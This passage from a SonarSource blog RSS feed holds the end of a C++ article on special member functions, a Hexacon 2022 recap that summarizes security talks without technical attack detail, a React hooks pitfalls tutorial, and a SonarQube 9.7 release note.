be wary. Technically the synthesized copy operations are now deprecated if one of the other original Rule of 3 functions are defined. So we shouldn’t &lt;em&gt;rely&lt;/em&gt; on them being generated. But in practice they will be, so we can’t rely on them &lt;em&gt;not&lt;/em&gt; being generated either.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is all a little easier to follow in a table. Howard Hinnant produced &lt;a href=&quot;https://howardhinnant.github.io/smf.jpg/&quot;&gt;a similar table&lt;/a&gt; in the past. This one is slightly different. Use the one you find most useful.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The cells with a blue background represent user declared functions. The rest of the line describes what happens with the other special member functions in that case (an empty cell means &lt;em&gt;not synthesized&lt;/em&gt;). If more than one special member function is user declared then you can combine the rows. In that case &lt;em&gt;delete&lt;/em&gt; and &lt;em&gt;not declared&lt;/em&gt; trumps &lt;em&gt;default&lt;/em&gt; (e.g. declaring a default constructor and a (possibly deleted) move-assignment operator would delete the copy operations and not declare a move constructor, as we’ll see).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What’s interesting is that you can clearly see the problem that required the Rule of 3 to address in red, underlined, text in the center (those deprecated functions).&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fa43cd53-1199-4bac-a890-10c4837b9e8c/body-18f8e9bc-0267-41a9-80b3-0f0af15a0148_special-members.png&quot; /&gt;&lt;p&gt;But looking at the move columns, if you provide either of those (and, remember, &lt;em&gt;deleting&lt;/em&gt; a function counts as &lt;em&gt;providing&lt;/em&gt; it, for our purposes) then the copy operations are deleted. Neither of the move operations are synthesized if any of the Rule of 5 functions are provided so we only need delete one of them and we end up where we want for our Scoped Manager, Polymorphic Base Class case - or any non-copyable. non-moveable type. Destructors are still defaulted - and deleting the move-assignment operator has the added advantage that it doesn’t suppress the default constructor.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Peter Sommerlad calls this approach “The Rule of DesDeMovA” (for DEStructor + DElete MOVe Assignment - and is a nod to the tragic character, Desdemona, from the Shakespeare play, Othello). Any time you want a non-copyable, non-moveable type, while still allowing a custom destructor, just provide a deleted move-assignment operator.&lt;/p&gt;&lt;h3&gt;Unique Resource Managers&lt;/h3&gt;&lt;p&gt;Since C++11’s move semantics made them possible, Unique Resource Managers have become a popular way to manage resources where lifetime management may be transferred from one manager to another. The archetypal Unique Resource Manager is &lt;code&gt;std::unique_ptr&lt;/code&gt;. Unique Resource Managers work just like Scoped Managers, except that they implement move construction and/ or move-assignment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because these managers implement the move operations they still suppress compiler synthesis of the copy operations (see the table in the aside). Like Scoped Managers they also need Acquire Constructors and custom destructors. So the only difference to a Scoped Manager is that they implement the move operations.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;UniqueManager(UniqueManager &amp;&amp;) { /* custom move construction */ }
UniqueManager operator=(UniqueManager &amp;&amp;) { /* custom move assignment */ }
~UniqueManager() { /* custom destruction code */ }

UniqueManager() { /* optional default constructor */ }
UniqueManager(auto args...) { /* optional custom constructor */ }&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;General Resource Managers&lt;/h3&gt;&lt;p&gt;A General Resource Manager is both copyable and, if the copied object is independent of the original (rather than containing mutable shared resources, &lt;em&gt;à la&lt;/em&gt; &lt;code&gt;std::shared_ptr&lt;/code&gt;) then the manager type acts like a value type - imparting value semantics to the resource it manages. Rather than encoding the value itself, it adds a proverbial &lt;em&gt;level of indirection&lt;/em&gt;. Some have called this an &lt;em&gt;Indirect Value&lt;/em&gt;. Why would this be useful? Why not just use the underlying value directly?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Typically such managers manage objects in memory by pointer - like &lt;code&gt;std::unique_ptr&lt;/code&gt;, but with the copy operations, too (so this is the full Rule of Five). A common use case is where the value being managed is polymorphic. In this case a way to invoke the correct copy operations is necessary. Traditionally this has been implemented using &lt;code&gt;virtual clone()&lt;/code&gt; methods. Another approach, which is gaining popularity, is capturing pointers to the copy methods on acquisition and storing them in the manager object. This has the advantage of being more generic and less intrusive. It has the disadvantage of being more complex and tricky to write correctly. At time of writing there is a proposal in flight for standardizing&lt;code&gt; &lt;a href=&quot;https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p0201r5.html&quot;&gt;std::polymorphic_value&lt;/a&gt;&lt;/code&gt;, which would make this easier.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another use case is when the resource’s concrete type is fixed but you want to keep it out of the interface. This is often used as a way to break or minimize incidental dependencies in code - usually resulting in faster builds. There are several variations, and different names have been used over time, but one of the more common is the pImpl Idiom.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Either way getting it correct can be trickier than it looks, so use well proven library solutions if possible. Again, there is a proposal in flight for &lt;a href=&quot;https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2020/p1950r1.html&quot;&gt;&lt;code&gt;std::indirect_value&lt;/code&gt;&lt;/a&gt;, to help with this.&lt;/p&gt;&lt;h3&gt;Rules, Damn Rules and Guidelines&lt;/h3&gt;&lt;p&gt;Now that we have more of a vocabulary for the common categories of types that we use in C++ code, we have considered more fine-grained recommendations for dealing with the special member functions. We’ll round up with a table summarizing what we have discussed in this and the previous article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ll throw in one more type category - Views or Reference types. These are non-owning pseudo-managers (think &lt;code&gt;std::string_view&lt;/code&gt;, &lt;code&gt;std::span&lt;/code&gt;, or even just raw pointers). Because these do not participate in lifetime management there are no particular recommendations. Destructors are probably not necessary. Copies are usually trivial - and moves are not necessary (would just be copies). This is all covered by the rule of Zero.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/34cdaa4b-736e-4793-bb9a-6d19e57d845f/body-d26b2d36-4cb0-4820-aaa1-f65becbe1c6d_Summary%2Btable%2BBeyond%2BRules.png&quot; /&gt;&lt;p&gt;So between the Rules of Zero and Five we can use the generation suppression rules of the move operations to give us a more fine-grained approach to how we spell out our special member functions. Remember, any deviation from the Rule of Zero should be rare - especially in application code. The Rule of Zero still rules!&lt;/p&gt;&lt;h3&gt;Related blog post&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://blog.sonarsource.com/the-rules-of-three-five-and-zero/&quot;&gt;The Rules of Three, Five and Zero&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Bits from Hexacon 2022]]></title><description><![CDATA[Our AppSec and Vulnerability Research teams had a great time at Hexacon 2022, here's what we enjoyed!]]></description><link>https://www.sonarsource.com/blog/bits-from-hexacon-2022</link><guid isPermaLink="false">42dfd4c2-f0f3-5cc4-aa7a-a4686922ceb9</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 25 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On October 14-15, members of our Vulnerability Research and AppSec teams traveled across Europe to attend Hexacon 2022 in Paris at the Maison de la Mutualité. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2dfce69c-93cd-45c1-a9f3-58796e51e2a7/body-87b8d6b0-8790-4fc8-8509-9b3c9132264e_Hexacon_room.png&quot; /&gt;&lt;p&gt;This is the first edition of this event organized by the French security firm Synacktiv: the goal was to build a community-oriented event around offensive security for industry professionals. With about 500 attendees, Hexacon is the first large-scale French event with such promise. &lt;/p&gt;&lt;h2&gt;Talks&lt;/h2&gt;&lt;p&gt;Aside from the community, this event&amp;#x27;s other huge benefit is accessing world-class content. It helps our teams to keep up-to-date with the latest research and drive our innovative technology in the right direction. &lt;strong&gt;Overall, we were very impressed with the variety of topics covered during the conference, their high level of technicity, and we did learn a lot. &lt;/strong&gt;You can find a list of personal favorites below. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Hacking the Cloud with SAML&lt;/em&gt; by Felix Wilhelm was an exciting piece of research. Felix discovered multiple security bugs in SAML implementations. SAML happens mainly in the context of Single-Sign-On (SSO) solutions, critical components of any modern organization.   One of his findings is in the JIT compiler of the Xalan-J XSLT processor, part of the Java virtual machine. Who could have expected to find such a compiler here? &lt;em&gt;You can find the slides &lt;a href=&quot;https://www.hexacon.fr/slides/Hacking-the-Cloud-With-SAML.pdf&quot;&gt;here&lt;/a&gt;. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Airbus Security Lab presented their methodology that yielded about 30 CVEs in the enterprise backup solution called Veritas NetBackup, which suffers from 20 years of &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;. The vulnerabilities discovered are part of the most frequent ones introduced by developers, the kind of ones you would find in the OWASP Top 10. Injections and XXEs, among others, are still very much alive, even in enterprise software! &lt;em&gt;You can find the slides &lt;a href=&quot;https://airbus-seclab.github.io/netbackup/Hexacon2022-The_unavoidable_pain_of_backups_security_deep-dive_into_the_internals_of_NetBackup.pdf&quot;&gt;here&lt;/a&gt;.&lt;/em&gt; &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8b996b68-9df2-4e6d-912d-aaef7617210c/body-f05300c7-65b8-4772-9e6b-26f8c015b095_Screenshot%2B2022-10-24%2Bat%2B22.56.40.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Slide from Airbus&amp;#x27; talk showing their various findings. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the end of the first day, David Bérard and Vincent Dehors from Synacktiv presented a remote vulnerability in the wi-fi stack of the Tesla Model 3. With what appeared to be a weak primitive that allowed them to swap specific bytes over the air with a vulnerability in the connectivity service, they managed to execute arbitrary code on the infotainment component and open the trunk of a real car, live during the competition Pwn2Own! &lt;em&gt;You can find the slides &lt;a href=&quot;https://www.hexacon.fr/slides/tesla_hexacon.pdf&quot;&gt;here&lt;/a&gt;.&lt;/em&gt; &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also attended multiple talks related to the security of iOS devices. A general takeaway is that Apple made the cost of real-world exploits rise to make it economically uncertain for offensive security companies. Among other processes that also involved producing safer code and reducing the overall attack surface of the most exposed services, Apple introduced an evergrowing list of mitigations, both on hardware and software. It is also much harder for individuals to engage in any new research as the initial &amp;quot;cost of entry&amp;quot; increases.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, Andy Nguyen from Google demonstrated how Blu-ray supports the standard BD-J, allowing the execution of Java code directly from the disk—it&amp;#x27;s a documented feature! Once again, this is a very unexpected attack surface to find in high-end gaming devices. With this initial entry point, he could escape the Java sandbox and exploit a FreeBSD kernel vulnerability to gain full privileges on both the PS4 and PS5 consoles. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We enjoyed many other talks, but they couldn&amp;#x27;t all fit here; click &lt;a href=&quot;https://www.hexacon.fr/conference/speakers/&quot;&gt;here&lt;/a&gt; for the complete list. &lt;/p&gt;&lt;h2&gt;You&amp;#x27;ve got mail! And I&amp;#x27;m root on your Zimbra server&lt;/h2&gt;&lt;p&gt;On Friday morning, Thomas from our Vulnerability Research team presented &lt;em&gt;You&amp;#x27;ve got mail! And I&amp;#x27;m root on your Zimbra server&lt;/em&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9262bc96-0c5e-4999-99e7-7454cf6c7d7c/body-406c57da-9793-474f-8402-5272acb991b5_hexacon_tweet.jpeg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Image courtesy of the Hexacon organizers on &lt;a href=&quot;https://twitter.com/hexacon_fr/status/1580867927464505345&quot;&gt;Twitter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this talk, we presented vulnerabilities we identified in the enterprise webmail software Zimbra. First, we described a simple Stored Cross-Site Scripting vulnerability. This bug class is critical in the context of webmails, as attackers could start exfiltrating your address book, emails, and their attachments! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, we went deep into a new-line injection in the cache layer, enabling attackers to steal clear-text credentials from active Zimbra users. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we did a live demonstration of a remote code execution bug in Amavis, a component dedicated to post-process incoming emails, for instance, to check for any known malware or phishing attempts. We based this demonstration on a bug in the archive extraction tool unrar, tracked as CVE-2022-30333. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We believe that presenting the details of these vulnerabilities, several months after their patch, is crucial to the security industry. While Zimbra addressed the root cause of our discoveries, threat actors are still looking closely at Zimbra and successfully engaging in some in-the-wild exploitation campaigns using 0-day bugs. We also provided general recommendations regarding the security design of this product to reduce the overall risk of privilege escalation. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We received positive feedback on the talk and would like to thank the audience for the fruitful discussions that followed!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can find a written explanation of these vulnerabilities in our blog too, in &lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;, &lt;a href=&quot;https://blog.sonarsource.com/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;Zimbra Email - Stealing Clear-Text Credentials via Memcache injection&lt;/a&gt; and &lt;a href=&quot;https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/&quot;&gt;Unrar Path Traversal Vulnerability affects Zimbra Mail&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;We will update this article with a link to the recorded talk as soon as it becomes available. Meanwhile, you can find our slides &lt;a href=&quot;https://www.hexacon.fr/slides/zimbra-thomas_chauchefoin.pdf&quot;&gt;here&lt;/a&gt;. &lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Our teams had a blast; we now look forward to attending OffensiveCon in May and Hexacon 2023! We also want to thank everybody involved in this event (organizers, trainers, speakers, audience, etc.).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar believes security issues are best addressed when the code is being developed. Our true Shift Left approach to &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt; embeds security as an integral part of the development and identifies issues in source code as it’s being written. With our unique Clean as You Code approach, issues are addressed upfront and no new issues end up in the released code. If you haven&amp;#x27;t discovered the power of the Sonar solution yet, &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;you can learn more here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you want to help us bring our static analysis technology to the next level and attend these events with our team, don&amp;#x27;t hesitate to look at our open security engineering positions: &lt;a href=&quot;https://jobs.lever.co/sonarsource/4f9dbd7e-a5ee-4858-b526-56b2c671f9c4&quot;&gt;AppSec Researcher&lt;/a&gt;, &lt;a href=&quot;https://jobs.lever.co/sonarsource/06ddcdf2-c99f-4672-aa86-4fc0b58625ae&quot;&gt;Vulnerability Researcher&lt;/a&gt;, &lt;a href=&quot;https://jobs.lever.co/sonarsource/869c6386-4f66-479b-932f-db5019f8c14a&quot;&gt;Static Analysis Scientist&lt;/a&gt;; many more to be found on &lt;a href=&quot;https://jobs.lever.co/sonarsource&quot;&gt;our careers page&lt;/a&gt;!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bad-code-costs-more-than-just-your-money/&quot;&gt;Bad code costs more than just your money&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/blackhat-usa-2022/&quot;&gt;Top 3 takeaways from BlackHat USA 2022&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/&quot;&gt;Unrar Path Traversal Vulnerability affects Zimbra Mail&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;Zimbra Email - Stealing Clear-Text Credentials via Memcache injection&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Lesser spotted React mistakes: Hooked on a feeling]]></title><description><![CDATA[This series is dedicated to the small, but common pitfalls and errors you can encounter when writing React code.
Whether an experienced JavaScript | TypeScript developer or just starting out, the results can be surprising.]]></description><link>https://www.sonarsource.com/blog/lesser-spotted-react-mistakes-hooked-on-a-feeling</link><guid isPermaLink="false">64ba28ad-4b10-5c60-b215-dbd74ec4e386</guid><dc:creator><![CDATA[Gabriel Vivas]]></dc:creator><pubDate>Thu, 20 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This series is dedicated to the small, but common pitfalls and errors you can encounter when writing React code. Whether an experienced JavaScript | TypeScript developer or starting out, the results can be surprising.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These are the kind of issues you want to catch early in your IDE before you spend hours debugging. You can copy/paste the code examples in VS Code with the SonarLint plugin if you want to see them for yourself and try to catch them before they happen to you!&lt;/p&gt;&lt;h2&gt;Part 1: Hooked on a feeling&lt;/h2&gt;&lt;p&gt;In this first installment of the series, we’ll look at things that can go wrong with React Hooks. Leaving you waiting for something to happen that never does, or tied in an endless loop loop loop.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You may fall into these pitfalls when you’re new to React Hooks. Although experienced devs will also raise one or both eyebrows. Let’s jump in!&lt;/p&gt;&lt;h2&gt;The first rule of Hooks&lt;/h2&gt;&lt;p&gt;If you know the &lt;a href=&quot;https://www.urbandictionary.com/define.php?term=Rules%20of%20Fight%20Club&quot;&gt;rules of Fight Club&lt;/a&gt;, that won’t help you here. We need to talk about Hooks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;React introduced Hooks to enhance Functional Components. Compared to Class Components, they lacked life cycle methods among other features.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Likely the simplest example of Hooks is to store component state. Look at this example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React, { useState } from &apos;react&apos;;

function Counter() {
  const [count, setCount] = useState(0);

  return (
    &lt;div&gt;
      &lt;h1&gt;Counter: {count}&lt;/h1&gt;
      &lt;button onClick={() =&gt; setCount(count + 1)}&gt;Increment&lt;/button&gt;
    &lt;/div&gt;
  );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s go over that quickly. When you invoke &lt;code&gt;useState&lt;/code&gt; it will return an Array of two elements, the current value and a setter function to change the value. Here we are destructuring the Array with the square brackets syntax, and we are choosing the names that make sense for us. By convention, you name the setter &lt;code&gt;set&lt;/code&gt; plus the name of our value, &lt;code&gt;setCount&lt;/code&gt; in this case. The argument passed to the &lt;code&gt;useState&lt;/code&gt; function is the initial value of &lt;code&gt;count&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You would then use &lt;code&gt;setCount&lt;/code&gt; to change the state to how you would like it. &lt;br/&gt;Look at this other example that allows you to select your language preference. Look for a treacherous bug in there:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React, { useState } from &quot;react&quot;;

function ShowLanguage() {
    const [language, setLanguage] = useState(&quot;en-EN&quot;);

    setLanguage(navigator.language ?? &quot;en-EN&quot;);

    return (
      &lt;section&gt;
        &lt;h1&gt;Your language is {language}!&lt;/h1&gt;
        &lt;button onClick={() =&gt; setLanguage(&quot;fr-FR&quot;)}&gt;Je préfère le Français&lt;/button&gt;
      &lt;/section&gt;
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Congratulations, you have created your first infinite loop with React Hooks 🪝.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This problem was portrayed by a developer (let’s say artist) in a tweet:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/marcingajda91/status/1530892067408429063/&quot;&gt;https://twitter.com/marcingajda91/status/1530892067408429063/&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b9c74bde-27c1-487d-a804-29e81976c442/body-ca6f8a6b-effe-4b92-8b2e-442a10787349_Twitter%2Bimage%2Bfor%2BReact%2Bblog.jpeg&quot; /&gt;&lt;p&gt;As it happens, when you call the setter function of your component state, React will trigger a re-render of the component. That makes sense, after all, that’s what you would expect most of the time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The problem here is that every time the component is trying to render, then &lt;code&gt;setLanguage&lt;/code&gt; is called, triggering a render, then &lt;code&gt;setLanguage&lt;/code&gt; is called, triggering a render. You get the point: calling the setter of &lt;code&gt;useState&lt;/code&gt; at the top level of your component will produce an infinite render loop ⏳.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Going back to the code example, if you want to initialize the value of your state, pass it as the argument to &lt;code&gt;useState&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import React, { useState } from &quot;react&quot;;

function ShowLanguage() {
    const initialLanguage = navigator.language ?? &quot;en-EN&quot;;
    const [language, setLanguage] = useState(initialLanguage);

    return (
      &lt;section&gt;
        &lt;h1&gt;Your language is {language}!&lt;/h1&gt;
        &lt;button onClick={() =&gt; setLanguage(&quot;fr-FR&quot;)}&gt;Je préfère le Français&lt;/button&gt;
      &lt;/section&gt;
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;React has actual &lt;a href=&quot;https://reactjs.org/docs/hooks-rules.html&quot;&gt;Rules of Hooks&lt;/a&gt; which work well with Eslint, surprisingly this one is not included.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Fortunately, SonarLint will give you a timely error as you are introducing the bug ⏰. You can try it yourself in VSCode.&lt;/p&gt;&lt;h2&gt;State update in an empty forest&lt;/h2&gt;&lt;p&gt;If a tree falls in the forest, and there’s no one around to hear it, does it update your component state?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Okay, that metaphor might not work here 🌲. Let’s talk about things that don&amp;#x27;t work.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now that you are more familiar with Hooks, here is one startling bug that can happen to you when working with a component&amp;#x27;s state. Try to find it in this code snippet:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { useState } from &quot;react&quot;;

function Tree() {
    const [falling, setFalling] = useState(false);

    return (
      &lt;Forest&gt;
        &lt;h1&gt;{falling ? &quot;Fearful noise!&quot; : &quot;Perfect silence.&quot;}&lt;/h1&gt;
        &lt;button onClick={() =&gt; setFalling(falling)}&gt;Toggle noise&lt;/button&gt;
      &lt;/Forest&gt;
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As it happens, the &lt;code&gt;onClick&lt;/code&gt; handler never changes the state of the component. Or does it? That is for philosophers to debate. For what matters to us, the Tree component will always render: &lt;code&gt;“Perfect silence.”&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Did you see it immediately? We actually intended to invert the Boolean &lt;code&gt;falling&lt;/code&gt; :&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { useState } from &quot;react&quot;;

function Tree() {
    const [falling, setFalling] = useState(false);

    return (
      &lt;Forest&gt;
        &lt;h1&gt;{falling ? &quot;Fearful noise!&quot; : &quot;Perfect silence.&quot;}&lt;/h1&gt;
        &lt;button onClick={() =&gt; setFalling(!falling)}&gt;Toggle noise&lt;/button&gt;
      &lt;/Forest&gt;
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Calling the state setter with the same value will produce no perceptible change. But in reality, that is never the intention of the programmer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;React will not complain in this case. After all, technically there is nothing wrong. Right?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, it can happen to any of us, either by a small typo or a quick copy/paste that went wild 🪓.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As expected, SonarLint knows that you never want this philosophical paradox in your code. It will raise a warning as you type 🤖. As always, you can try it out for yourself in VSCode.&lt;/p&gt;&lt;h2&gt;Prevent issues before they happen&lt;/h2&gt;&lt;p&gt;As you see, there can be some non-obvious bugs with the &lt;code&gt;useState&lt;/code&gt; hook in React.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, SonarLint will detect these issues and warn you as they come up, so you can fix them on the spot, without losing focus. If you want to dig deeper, SonarLint will also provide an explanation of why they happen in the first place 🤓. Sort of what we did in this article.&lt;/p&gt;&lt;h2&gt;Next up: “Part 2: Zombie methods”&lt;/h2&gt;&lt;p&gt;In the next installment we’ll cover issues that come up when you have dead-code methods or intrusive neighbors. Stay tuned 🐋!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you liked this post, send us a Tweet &lt;a href=&quot;https://twitter.com/sonarsource&quot;&gt;@SonarSource&lt;/a&gt; or a comment in the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community&lt;/a&gt;. We’d love to hear about your experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Read more about these rules in our catalog:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-6442&quot;&gt;S6442 React&amp;#x27;s useState hook should not be used in the render function or body of a component&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/typescript/RSPEC-6443&quot;&gt;S6443 React state setter function should not be called with its matching state variable&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 9.7 is here!]]></title><description><![CDATA[Check out what’s new in SonarQube 9.7 in this quick video.]]></description><link>https://www.sonarsource.com/blog/sonarqube-9.7-is-here</link><guid isPermaLink="false">2f415020-9629-5853-8506-d066e0696b97</guid><dc:creator><![CDATA[Lauren Cranford]]></dc:creator><pubDate>Wed, 19 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SonarQube 9.7 is now available! This release focuses on speed of analysis, more Python rules, easier SAML configuration, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some highlights include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Faster JavaScript/TypeScript PR, COBOL analysis&lt;/li&gt;&lt;li&gt;GitHub security reporting&lt;/li&gt;&lt;li&gt;OWASP ASVS reports&lt;/li&gt;&lt;li&gt;Python rules for tests, AWS CDK, and path-sensitive bug detection&lt;/li&gt;&lt;li&gt;Easier SAML configuration, PII deletion&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarqube.org/sonarqube-9-7/&quot;&gt;And much more!&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out this video by Sonar Community Manager, G. Ann Campbell, to see everything included in this latest release:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/X_7XWFXipI0&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Ready to start using SonarQube 9.7? &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;Download now!&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Remote Code Execution in Melis Platform]]></title><description><![CDATA[We come back on a critical deserialization vulnerability identified by our SAST engine in the software Melis Platform. Let’s look at how it works under the hood and how we confirmed its exploitability.]]></description><link>https://www.sonarsource.com/blog/remote-code-execution-in-melis-platform</link><guid 